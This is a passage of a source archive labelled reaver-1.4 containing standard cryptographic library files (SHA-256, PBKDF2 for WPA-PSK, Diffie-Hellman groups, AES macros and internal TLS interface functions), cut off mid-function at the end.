*opc, const u8 *k, const u8 *_rand, const u8 *auts, u8 *sqn); int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres, u8 *kc); int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand, const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len, u8 *auts); int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s); int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand, u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar); #endif /* MILENAGE_H */ reaver-1.4/src/crypto/sha256-internal.c0000755000175000017500000001467611705505260017313 0ustar reaverreaver/* * SHA-256 hash implementation and interface functions * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha256.h" #include "crypto.h" struct sha256_state { u64 length; u32 state[8], curlen; u8 buf[64]; }; static void sha256_init(struct sha256_state *md); static int sha256_process(struct sha256_state *md, const unsigned char *in, unsigned long inlen); static int sha256_done(struct sha256_state *md, unsigned char *out); /** * sha256_vector - SHA256 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 of failure */ int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { struct sha256_state ctx; size_t i; sha256_init(&ctx); for (i = 0; i < num_elem; i++) if (sha256_process(&ctx, addr[i], len[i])) return -1; if (sha256_done(&ctx, mac)) return -1; return 0; } /* ===== start - public domain SHA256 implementation ===== */ /* This is based on SHA256 implementation in LibTomCrypt that was released into * public domain by Tom St Denis. */ /* the K array */ static const unsigned long K[64] = { 0x428a2f98UL, 0x71374491UL, 0xb5c0fbcfUL, 0xe9b5dba5UL, 0x3956c25bUL, 0x59f111f1UL, 0x923f82a4UL, 0xab1c5ed5UL, 0xd807aa98UL, 0x12835b01UL, 0x243185beUL, 0x550c7dc3UL, 0x72be5d74UL, 0x80deb1feUL, 0x9bdc06a7UL, 0xc19bf174UL, 0xe49b69c1UL, 0xefbe4786UL, 0x0fc19dc6UL, 0x240ca1ccUL, 0x2de92c6fUL, 0x4a7484aaUL, 0x5cb0a9dcUL, 0x76f988daUL, 0x983e5152UL, 0xa831c66dUL, 0xb00327c8UL, 0xbf597fc7UL, 0xc6e00bf3UL, 0xd5a79147UL, 0x06ca6351UL, 0x14292967UL, 0x27b70a85UL, 0x2e1b2138UL, 0x4d2c6dfcUL, 0x53380d13UL, 0x650a7354UL, 0x766a0abbUL, 0x81c2c92eUL, 0x92722c85UL, 0xa2bfe8a1UL, 0xa81a664bUL, 0xc24b8b70UL, 0xc76c51a3UL, 0xd192e819UL, 0xd6990624UL, 0xf40e3585UL, 0x106aa070UL, 0x19a4c116UL, 0x1e376c08UL, 0x2748774cUL, 0x34b0bcb5UL, 0x391c0cb3UL, 0x4ed8aa4aUL, 0x5b9cca4fUL, 0x682e6ff3UL, 0x748f82eeUL, 0x78a5636fUL, 0x84c87814UL, 0x8cc70208UL, 0x90befffaUL, 0xa4506cebUL, 0xbef9a3f7UL, 0xc67178f2UL }; /* Various logical functions */ #define RORc(x, y) \ ( ((((unsigned long) (x) & 0xFFFFFFFFUL) >> (unsigned long) ((y) & 31)) | \ ((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL) #define Ch(x,y,z) (z ^ (x & (y ^ z))) #define Maj(x,y,z) (((x | y) & z) | (x & y)) #define S(x, n) RORc((x), (n)) #define R(x, n) (((x)&0xFFFFFFFFUL)>>(n)) #define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22)) #define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25)) #define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3)) #define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10)) #ifndef MIN #define MIN(x, y) (((x) < (y)) ? (x) : (y)) #endif /* compress 512-bits */ static int sha256_compress(struct sha256_state *md, unsigned char *buf) { u32 S[8], W[64], t0, t1; u32 t; int i; /* copy state into S */ for (i = 0; i < 8; i++) { S[i] = md->state[i]; } /* copy the state into 512-bits into W[0..15] */ for (i = 0; i < 16; i++) W[i] = WPA_GET_BE32(buf + (4 * i)); /* fill W[16..63] */ for (i = 16; i < 64; i++) { W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + W[i - 16]; } /* Compress */ #define RND(a,b,c,d,e,f,g,h,i) \ t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \ t1 = Sigma0(a) + Maj(a, b, c); \ d += t0; \ h = t0 + t1; for (i = 0; i < 64; ++i) { RND(S[0], S[1], S[2], S[3], S[4], S[5], S[6], S[7], i); t = S[7]; S[7] = S[6]; S[6] = S[5]; S[5] = S[4]; S[4] = S[3]; S[3] = S[2]; S[2] = S[1]; S[1] = S[0]; S[0] = t; } /* feedback */ for (i = 0; i < 8; i++) { md->state[i] = md->state[i] + S[i]; } return 0; } /* Initialize the hash state */ static void sha256_init(struct sha256_state *md) { md->curlen = 0; md->length = 0; md->state[0] = 0x6A09E667UL; md->state[1] = 0xBB67AE85UL; md->state[2] = 0x3C6EF372UL; md->state[3] = 0xA54FF53AUL; md->state[4] = 0x510E527FUL; md->state[5] = 0x9B05688CUL; md->state[6] = 0x1F83D9ABUL; md->state[7] = 0x5BE0CD19UL; } /** Process a block of memory though the hash @param md The hash state @param in The data to hash @param inlen The length of the data (octets) @return CRYPT_OK if successful */ static int sha256_process(struct sha256_state *md, const unsigned char *in, unsigned long inlen) { unsigned long n; #define block_size 64 if (md->curlen > sizeof(md->buf)) return -1; while (inlen > 0) { if (md->curlen == 0 && inlen >= block_size) { if (sha256_compress(md, (unsigned char *) in) < 0) return -1; md->length += block_size * 8; in += block_size; inlen -= block_size; } else { n = MIN(inlen, (block_size - md->curlen)); os_memcpy(md->buf + md->curlen, in, n); md->curlen += n; in += n; inlen -= n; if (md->curlen == block_size) { if (sha256_compress(md, md->buf) < 0) return -1; md->length += 8 * block_size; md->curlen = 0; } } } return 0; } /** Terminate the hash to get the digest @param md The hash state @param out [out] The destination of the hash (32 bytes) @return CRYPT_OK if successful */ static int sha256_done(struct sha256_state *md, unsigned char *out) { int i; if (md->curlen >= sizeof(md->buf)) return -1; /* increase the length of the message */ md->length += md->curlen * 8; /* append the '1' bit */ md->buf[md->curlen++] = (unsigned char) 0x80; /* if the length is currently above 56 bytes we append zeros * then compress. Then we can fall back to padding zeros and length * encoding like normal. */ if (md->curlen > 56) { while (md->curlen < 64) { md->buf[md->curlen++] = (unsigned char) 0; } sha256_compress(md, md->buf); md->curlen = 0; } /* pad upto 56 bytes of zeroes */ while (md->curlen < 56) { md->buf[md->curlen++] = (unsigned char) 0; } /* store length */ WPA_PUT_BE64(md->buf + 56, md->length); sha256_compress(md, md->buf); /* copy output */ for (i = 0; i < 8; i++) WPA_PUT_BE32(out + (4 * i), md->state[i]); return 0; } /* ===== end - public domain SHA256 implementation ===== */ reaver-1.4/src/crypto/fips_prf_gnutls.c0000755000175000017500000000117111705505260017657 0ustar reaverreaver/* * FIPS 186-2 PRF for libgcrypt * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { /* FIX: how to do this with libgcrypt? */ return -1; } reaver-1.4/src/crypto/sha1-pbkdf2.c0000755000175000017500000000514411705505260016461 0ustar reaverreaver/* * SHA1-based key derivation function (PBKDF2) for IEEE 802.11i * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "md5.h" #include "crypto.h" static int pbkdf2_sha1_f(const char *passphrase, const char *ssid, size_t ssid_len, int iterations, unsigned int count, u8 *digest) { unsigned char tmp[SHA1_MAC_LEN], tmp2[SHA1_MAC_LEN]; int i, j; unsigned char count_buf[4]; const u8 *addr[2]; size_t len[2]; size_t passphrase_len = os_strlen(passphrase); addr[0] = (u8 *) ssid; len[0] = ssid_len; addr[1] = count_buf; len[1] = 4; /* F(P, S, c, i) = U1 xor U2 xor ... Uc * U1 = PRF(P, S || i) * U2 = PRF(P, U1) * Uc = PRF(P, Uc-1) */ count_buf[0] = (count >> 24) & 0xff; count_buf[1] = (count >> 16) & 0xff; count_buf[2] = (count >> 8) & 0xff; count_buf[3] = count & 0xff; if (hmac_sha1_vector((u8 *) passphrase, passphrase_len, 2, addr, len, tmp)) return -1; os_memcpy(digest, tmp, SHA1_MAC_LEN); for (i = 1; i < iterations; i++) { if (hmac_sha1((u8 *) passphrase, passphrase_len, tmp, SHA1_MAC_LEN, tmp2)) return -1; os_memcpy(tmp, tmp2, SHA1_MAC_LEN); for (j = 0; j < SHA1_MAC_LEN; j++) digest[j] ^= tmp2[j]; } return 0; } /** * pbkdf2_sha1 - SHA1-based key derivation function (PBKDF2) for IEEE 802.11i * @passphrase: ASCII passphrase * @ssid: SSID * @ssid_len: SSID length in bytes * @iterations: Number of iterations to run * @buf: Buffer for the generated key * @buflen: Length of the buffer in bytes * Returns: 0 on success, -1 of failure * * This function is used to derive PSK for WPA-PSK. For this protocol, * iterations is set to 4096 and buflen to 32. This function is described in * IEEE Std 802.11-2004, Clause H.4. The main construction is from PKCS#5 v2.0. */ int pbkdf2_sha1(const char *passphrase, const char *ssid, size_t ssid_len, int iterations, u8 *buf, size_t buflen) { unsigned int count = 0; unsigned char *pos = buf; size_t left = buflen, plen; unsigned char digest[SHA1_MAC_LEN]; while (left > 0) { count++; if (pbkdf2_sha1_f(passphrase, ssid, ssid_len, iterations, count, digest)) return -1; plen = left > SHA1_MAC_LEN ? SHA1_MAC_LEN : left; os_memcpy(pos, digest, plen); pos += plen; left -= plen; } return 0; } reaver-1.4/src/crypto/dh_groups.h0000755000175000017500000000151611705505260016455 0ustar reaverreaver/* * Diffie-Hellman groups * Copyright (c) 2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DH_GROUPS_H #define DH_GROUPS_H struct dh_group { int id; const u8 *generator; size_t generator_len; const u8 *prime; size_t prime_len; }; const struct dh_group * dh_groups_get(int id); struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv); struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public, const struct wpabuf *own_private, const struct dh_group *dh); #endif /* DH_GROUPS_H */ reaver-1.4/src/crypto/dh_group5.c0000755000175000017500000000157511705505260016357 0ustar reaverreaver/* * Diffie-Hellman group 5 operations * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "dh_groups.h" #include "dh_group5.h" void * dh5_init(struct wpabuf **priv, struct wpabuf **publ) { *publ = dh_init(dh_groups_get(5), priv); if (*publ == 0) return NULL; return (void *) 1; } struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, const struct wpabuf *own_private) { return dh_derive_shared(peer_public, own_private, dh_groups_get(5)); } void dh5_free(void *ctx) { } reaver-1.4/src/crypto/aes_i.h0000755000175000017500000000756411705505260015554 0ustar reaverreaver/* * AES (Rijndael) cipher * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef AES_I_H #define AES_I_H #include "aes.h" /* #define FULL_UNROLL */ #define AES_SMALL_TABLES extern const u32 Te0[256]; extern const u32 Te1[256]; extern const u32 Te2[256]; extern const u32 Te3[256]; extern const u32 Te4[256]; extern const u32 Td0[256]; extern const u32 Td1[256]; extern const u32 Td2[256]; extern const u32 Td3[256]; extern const u32 Td4[256]; extern const u32 rcon[10]; extern const u8 Td4s[256]; extern const u8 rcons[10]; #ifndef AES_SMALL_TABLES #define RCON(i) rcon[(i)] #define TE0(i) Te0[((i) >> 24) & 0xff] #define TE1(i) Te1[((i) >> 16) & 0xff] #define TE2(i) Te2[((i) >> 8) & 0xff] #define TE3(i) Te3[(i) & 0xff] #define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000) #define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000) #define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00) #define TE44(i) (Te4[(i) & 0xff] & 0x000000ff) #define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000) #define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000) #define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00) #define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff) #define TE4(i) (Te4[(i)] & 0x000000ff) #define TD0(i) Td0[((i) >> 24) & 0xff] #define TD1(i) Td1[((i) >> 16) & 0xff] #define TD2(i) Td2[((i) >> 8) & 0xff] #define TD3(i) Td3[(i) & 0xff] #define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000) #define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000) #define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00) #define TD44(i) (Td4[(i) & 0xff] & 0x000000ff) #define TD0_(i) Td0[(i) & 0xff] #define TD1_(i) Td1[(i) & 0xff] #define TD2_(i) Td2[(i) & 0xff] #define TD3_(i) Td3[(i) & 0xff] #else /* AES_SMALL_TABLES */ #define RCON(i) (rcons[(i)] << 24) static inline u32 rotr(u32 val, int bits) { return (val >> bits) | (val << (32 - bits)); } #define TE0(i) Te0[((i) >> 24) & 0xff] #define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8) #define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16) #define TE3(i) rotr(Te0[(i) & 0xff], 24) #define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000) #define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000) #define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00) #define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff) #define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000) #define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000) #define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00) #define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff) #define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff) #define TD0(i) Td0[((i) >> 24) & 0xff] #define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8) #define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16) #define TD3(i) rotr(Td0[(i) & 0xff], 24) #define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24) #define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16) #define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8) #define TD44(i) (Td4s[(i) & 0xff]) #define TD0_(i) Td0[(i) & 0xff] #define TD1_(i) rotr(Td0[(i) & 0xff], 8) #define TD2_(i) rotr(Td0[(i) & 0xff], 16) #define TD3_(i) rotr(Td0[(i) & 0xff], 24) #endif /* AES_SMALL_TABLES */ #ifdef _MSC_VER #define SWAP(x) (_lrotl(x, 8) & 0x00ff00ff | _lrotr(x, 8) & 0xff00ff00) #define GETU32(p) SWAP(*((u32 *)(p))) #define PUTU32(ct, st) { *((u32 *)(ct)) = SWAP((st)); } #else #define GETU32(pt) (((u32)(pt)[0] << 24) ^ ((u32)(pt)[1] << 16) ^ \ ((u32)(pt)[2] << 8) ^ ((u32)(pt)[3])) #define PUTU32(ct, st) { \ (ct)[0] = (u8)((st) >> 24); (ct)[1] = (u8)((st) >> 16); \ (ct)[2] = (u8)((st) >> 8); (ct)[3] = (u8)(st); } #endif #define AES_PRIV_SIZE (4 * 44) void rijndaelKeySetupEnc(u32 rk[/*44*/], const u8 cipherKey[]); #endif /* AES_I_H */ reaver-1.4/src/crypto/tls_internal.c0000755000175000017500000003536511705505260017165 0ustar reaverreaver/* * TLS interface functions and an internal TLS implementation * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file interface functions for hostapd/wpa_supplicant to use the * integrated TLSv1 implementation. */ #include "includes.h" #include "common.h" #include "tls.h" #include "tls/tlsv1_client.h" #include "tls/tlsv1_server.h" static int tls_ref_count = 0; struct tls_global { int server; struct tlsv1_credentials *server_cred; int check_crl; }; struct tls_connection { struct tlsv1_client *client; struct tlsv1_server *server; }; void * tls_init(const struct tls_config *conf) { struct tls_global *global; if (tls_ref_count == 0) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (tlsv1_client_global_init()) return NULL; #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (tlsv1_server_global_init()) return NULL; #endif /* CONFIG_TLS_INTERNAL_SERVER */ } tls_ref_count++; global = os_zalloc(sizeof(*global)); if (global == NULL) return NULL; return global; } void tls_deinit(void *ssl_ctx) { struct tls_global *global = ssl_ctx; tls_ref_count--; if (tls_ref_count == 0) { #ifdef CONFIG_TLS_INTERNAL_CLIENT tlsv1_client_global_deinit(); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER tlsv1_cred_free(global->server_cred); tlsv1_server_global_deinit(); #endif /* CONFIG_TLS_INTERNAL_SERVER */ } os_free(global); } int tls_get_errors(void *tls_ctx) { return 0; } struct tls_connection * tls_connection_init(void *tls_ctx) { struct tls_connection *conn; struct tls_global *global = tls_ctx; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; #ifdef CONFIG_TLS_INTERNAL_CLIENT if (!global->server) { conn->client = tlsv1_client_init(); if (conn->client == NULL) { os_free(conn); return NULL; } } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (global->server) { conn->server = tlsv1_server_init(global->server_cred); if (conn->server == NULL) { os_free(conn); return NULL; } } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return conn; } void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) { if (conn == NULL) return; #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) tlsv1_client_deinit(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) tlsv1_server_deinit(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ os_free(conn); } int tls_connection_established(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_established(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_established(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return 0; } int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_shutdown(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_shutdown(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { #ifdef CONFIG_TLS_INTERNAL_CLIENT struct tlsv1_credentials *cred; if (conn->client == NULL) return -1; cred = tlsv1_cred_alloc(); if (cred == NULL) return -1; if (tlsv1_set_ca_cert(cred, params->ca_cert, params->ca_cert_blob, params->ca_cert_blob_len, params->ca_path)) { wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA " "certificates"); tlsv1_cred_free(cred); return -1; } if (tlsv1_set_cert(cred, params->client_cert, params->client_cert_blob, params->client_cert_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to configure client " "certificate"); tlsv1_cred_free(cred); return -1; } if (tlsv1_set_private_key(cred, params->private_key, params->private_key_passwd, params->private_key_blob, params->private_key_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load private key"); tlsv1_cred_free(cred); return -1; } if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob, params->dh_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters"); tlsv1_cred_free(cred); return -1; } if (tlsv1_client_set_cred(conn->client, cred) < 0) { tlsv1_cred_free(cred); return -1; } return 0; #else /* CONFIG_TLS_INTERNAL_CLIENT */ return -1; #endif /* CONFIG_TLS_INTERNAL_CLIENT */ } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { #ifdef CONFIG_TLS_INTERNAL_SERVER struct tls_global *global = tls_ctx; struct tlsv1_credentials *cred; /* Currently, global parameters are only set when running in server * mode. */ global->server = 1; tlsv1_cred_free(global->server_cred); global->server_cred = cred = tlsv1_cred_alloc(); if (cred == NULL) return -1; if (tlsv1_set_ca_cert(cred, params->ca_cert, params->ca_cert_blob, params->ca_cert_blob_len, params->ca_path)) { wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA " "certificates"); return -1; } if (tlsv1_set_cert(cred, params->client_cert, params->client_cert_blob, params->client_cert_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to configure server " "certificate"); return -1; } if (tlsv1_set_private_key(cred, params->private_key, params->private_key_passwd, params->private_key_blob, params->private_key_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load private key"); return -1; } if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob, params->dh_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters"); return -1; } return 0; #else /* CONFIG_TLS_INTERNAL_SERVER */ return -1; #endif /* CONFIG_TLS_INTERNAL_SERVER */ } int tls_global_set_verify(void *tls_ctx, int check_crl) { struct tls_global *global = tls_ctx; global->check_crl = check_crl; return 0; } int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer) { #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_set_verify(conn->server, verify_peer); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_get_keys(conn->client, keys); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_get_keys(conn->server, keys); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { return tlsv1_client_prf(conn->client, label, server_random_first, out, out_len); } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { return tlsv1_server_prf(conn->server, label, server_random_first, out, out_len); } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { #ifdef CONFIG_TLS_INTERNAL_CLIENT u8 *res, *ad; size_t res_len, ad_len; struct wpabuf *out; if (conn->client == NULL) return NULL; ad = NULL; res = tlsv1_client_handshake(conn->client, in_data ? wpabuf_head(in_data) : NULL, in_data ? wpabuf_len(in_data) : 0, &res_len, &ad, &ad_len); if (res == NULL) return NULL; out = wpabuf_alloc_ext_data(res, res_len); if (out == NULL) { os_free(res); os_free(ad); return NULL; } if (appl_data) { if (ad) { *appl_data = wpabuf_alloc_ext_data(ad, ad_len); if (*appl_data == NULL) os_free(ad); } else *appl_data = NULL; } else os_free(ad); return out; #else /* CONFIG_TLS_INTERNAL_CLIENT */ return NULL; #endif /* CONFIG_TLS_INTERNAL_CLIENT */ } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { #ifdef CONFIG_TLS_INTERNAL_SERVER u8 *res; size_t res_len; struct wpabuf *out; if (conn->server == NULL) return NULL; if (appl_data) *appl_data = NULL; res = tlsv1_server_handshake(conn->server, wpabuf_head(in_data), wpabuf_len(in_data), &res_len); if (res == NULL && tlsv1_server_established(conn->server)) return wpabuf_alloc(0); if (res == NULL) return NULL; out = wpabuf_alloc_ext_data(res, res_len); if (out == NULL) { os_free(res); return NULL; } return out; #else /* CONFIG_TLS_INTERNAL_SERVER */ return NULL; #endif /* CONFIG_TLS_INTERNAL_SERVER */ } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { struct wpabuf *buf; int res; buf = wpabuf_alloc(wpabuf_len(in_data) + 300); if (buf == NULL) return NULL; res = tlsv1_client_encrypt(conn->client, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { struct wpabuf *buf; int res; buf = wpabuf_alloc(wpabuf_len(in_data) + 300); if (buf == NULL) return NULL; res = tlsv1_server_encrypt(conn->server, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return NULL; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { struct wpabuf *buf; int res; buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (buf == NULL) return NULL; res = tlsv1_client_decrypt(conn->client, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { struct wpabuf *buf; int res; buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (buf == NULL) return NULL; res = tlsv1_server_decrypt(conn->server, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return NULL; } int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_resumed(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_resumed(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_set_cipher_list(conn->client, ciphers); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_set_cipher_list(conn->server, ciphers); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen) { if (conn == NULL) return -1; #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_get_cipher(conn->client, buf, buflen); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_get_cipher(conn->server, buf, buflen); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { return tlsv1_client_hello_ext(conn->client, ext_type, data, data_len); } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ return -1; } int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int 